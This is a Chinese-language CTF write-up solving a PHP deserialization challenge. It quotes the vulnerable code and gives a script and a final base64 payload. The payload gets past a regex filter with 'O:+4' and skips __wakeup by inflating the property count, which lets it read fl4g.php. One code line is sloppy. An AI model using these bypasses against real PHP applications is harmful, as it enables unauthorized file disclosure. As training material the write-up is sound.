根据题目和代码审计到_wakeup,猜测此题和反序列化有关:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
审计代码得知,得到flag需要绕过preg_match()和_wakeup(),并且提示了了flag在fl4g.php中:
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
看懂preg_match()正则表达式限制了什么:
[oc]:匹配o或者c
\d :匹配任意一个10进制的数
+ : 匹配前面的字符 1-N 次
i : 表示不区分大小写
先序列化fl4g对象,代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
$a= new Demo('fl4g',php);
$b=serialize($a);
echo $b;
echo '<br/>'
?>
得到的序列化结果:
O:4:"Demo":1:{s:10:"Demofile";s:4:"fl4g";}
由于匹配到0:4,根据preg_match()的限制所以这个程序会弹出“stop hacking”,所以需要将4改为+4来绕过正则表达式。_wakeup的漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,所以将1改为2来绕过_wakeup(),代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
?>
结果:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
将最后一排的结果带入url,拿到flag:
总结:
反序列化
_wakeup()和preg_match()的绕过
正则表达式